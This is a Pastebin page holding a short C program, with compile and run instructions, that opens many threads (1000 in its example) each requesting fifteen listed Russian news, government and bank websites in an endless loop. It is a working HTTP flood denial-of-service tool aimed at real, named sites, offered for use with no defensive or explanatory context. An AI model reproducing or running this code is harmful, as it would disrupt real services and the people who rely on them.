Guest User

Untitled

a guest
Feb 25th, 2022
329
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.02 KB | None | 0 0
  1. /*
  2. $ dnf install libcurl-devel
  3. $ gcc -o this_program this_program.c -lcurl
  4. $ ./this_program 1000 // number of threads
  5. */
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <curl/curl.h>
  9. #include <pthread.h>
  10.  
  11. static char const *urls[] = {
  12. "https://lenta.ru/",
  13. "https://ria.ru/",
  14. "https://ria.ru/lenta/",
  15. "https://www.rbc.ru/",
  16. "https://www.rt.com/",
  17. "http://kremlin.ru/",
  18. "http://en.kremlin.ru/",
  19. "https://smotrim.ru/",
  20. "https://tass.ru/",
  21. "https://tvzvezda.ru/",
  22. "https://vsoloviev.ru/",
  23. "https://www.1tv.ru/",
  24. "https://www.vesti.ru/",
  25. "https://online.sberbank.ru/",
  26. "https://sberbank.ru/",
  27. };
  28.  
  29. static size_t ignore_data(void *data, size_t size, size_t nmemb, void *userp)
  30. {
  31. (void)data;
  32. (void)nmemb;
  33. (void)userp;
  34. return size;
  35. }
  36.  
  37. void *thread_start(void *vp_url)
  38. {
  39. size_t i;
  40. CURL *ch;
  41.  
  42. ch = curl_easy_init();
  43. curl_easy_setopt(ch, CURLOPT_URL, (char *)vp_url);
  44. curl_easy_setopt(ch, CURLOPT_TIMEOUT, 1L);
  45. curl_easy_setopt(ch, CURLOPT_FOLLOWLOCATION, 1L);
  46. curl_easy_setopt(ch, CURLOPT_WRITEDATA, NULL);
  47. curl_easy_setopt(ch, CURLOPT_WRITEFUNCTION, ignore_data);
  48.  
  49. for (;;) {
  50. printf("try %s...\n", (char *)vp_url);
  51. curl_easy_perform(ch);
  52. }
  53. return NULL;
  54. }
  55.  
  56. int main(int argc, char **argv)
  57. {
  58. size_t i, num_urls, num_threads;
  59. pthread_t *threads;
  60.  
  61. num_threads = num_urls = sizeof urls / sizeof *urls;
  62. if (1 < argc)
  63. num_threads = atoi(*++argv);
  64.  
  65. threads = malloc(sizeof *threads * num_threads);
  66.  
  67. curl_global_init(CURL_GLOBAL_DEFAULT);
  68.  
  69. for (i = 0; i < num_threads; ++i)
  70. pthread_create(threads + i, 0, thread_start, urls[i % num_urls]);
  71.  
  72. for (i = 0; i < num_threads; ++i)
  73. pthread_join(threads[i], 0);
  74. }
Advertisement
Add Comment
Please, Sign In to add comment